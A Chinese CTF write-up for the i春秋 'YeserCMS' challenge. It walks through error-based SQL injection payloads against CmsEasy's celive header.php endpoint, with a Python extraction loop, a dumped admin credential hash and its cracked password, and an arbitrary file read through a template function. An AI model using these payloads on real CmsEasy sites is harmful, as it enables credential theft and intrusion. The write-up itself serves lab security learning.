i春秋CTF-YeserCMS

分析

打开网站,在文档下载页面用户评论区域,发现是一个EasyCMS

11129189-07a019548ffce11d.png

于是百度EasyCMS的漏洞,发现cmseasy 无限制报错注入(可获取全站信息exp)

访问url/celive/live/header.php,直接进行报错注入

数据库:

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(database())) ),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>


# 结果:
XPATH syntax error: '[Yeser]'

INSERT INTO `yesercms_detail` (`chatid`,`detail`,`who_witter`) VALUES('','xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(database())) ),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- (2018-09-06 17:06:08)','2')

数据表:

这里需要注意一下:group_concat取数据的32位,因此不能完全爆出数据表,需要调整1,32才行

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>


# 结果
XPATH syntax error: '[yesercms_a_attachment,yesercms_'

## python脚本跑一下
import requests
url = 'http://e32e8eceff7a4e3f922fe2640f1c82a67a059c73c2f44c14.game.ichunqiu.com/celive/live/header.php'
for i in range(1,999,31):
    postdata = {
    'xajax':'Postdata',
    'xajaxargs[0]':"<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()),%s,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>" %str(i)
}
    r = requests.post(url,data=postdata)
    print r.content[22:53]

简单的python,循环跑一下,也是可以出来的,但是表太多了,我是不太知道大佬们怎么精准定位到yesercms_user

yesercms_a_attachment,yesercms_a_comment,yesercms_a_rank,yesercms_a_vote,yesercms_activity,yesercms_announcement,yesercms_archive,yesercms_assigns,yesercms_b_arctag,yesercms_b_area,yesercms_b_category,yesercms_b_special,yesercms_b_tag,yesercms_ballot,yesercms_bbs_archive,yesercms_bbs_category,yesercms_bbs_label,yesercms_bbs_reply,yesercms_chat,yesercms_departments,yesercms_detail,yesercms_event,yesercms_friendlink,yesercms_guestbook,yesercms_linkword,yesercms_my_a,yesercms_my_yingpin,yesercms_operators,yesercms_option,yesercms_p_orders,yesercms_p_pay,yesercms_p_shipping,yesercms_pay_exchange,yesercms_sessions,yesercms_settings,yesercms_templatetag,yesercms_type,yesercms_union,yesercms_union_pay,yesercms_union_visit,yesercms_user,yesercms_usergroup

最后爆出数据:

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from yesercms_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

XPATH syntax error: '[admin|ff512d4240cbbdeafada404677ccbe61]'

这里也是一样,只会显示32位字符,需要调整一下,得到账户密码。

MD5反解密码SOMD5Yeser231

进入后台页面,


11129189-9539e24b665ece65.png

想着通过上传图片拿shell,但是发现根本不存在这个类

11129189-12c6b83072e71e6c.png

于是想在当前模板中插入一个木马拿shell,结果保存不了!!

看了别人的WP,发现原来调用当前模板的时候用的是读文件的函数,也就是说,可以利用这个对文件的函数读取任意文件:

11129189-7c9cff77c3ab7f56.png

更改id 用于读flag,发现可行,getFlag。

知识点

报错注入
EasyCMS 漏洞
读取文件函数的利用

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值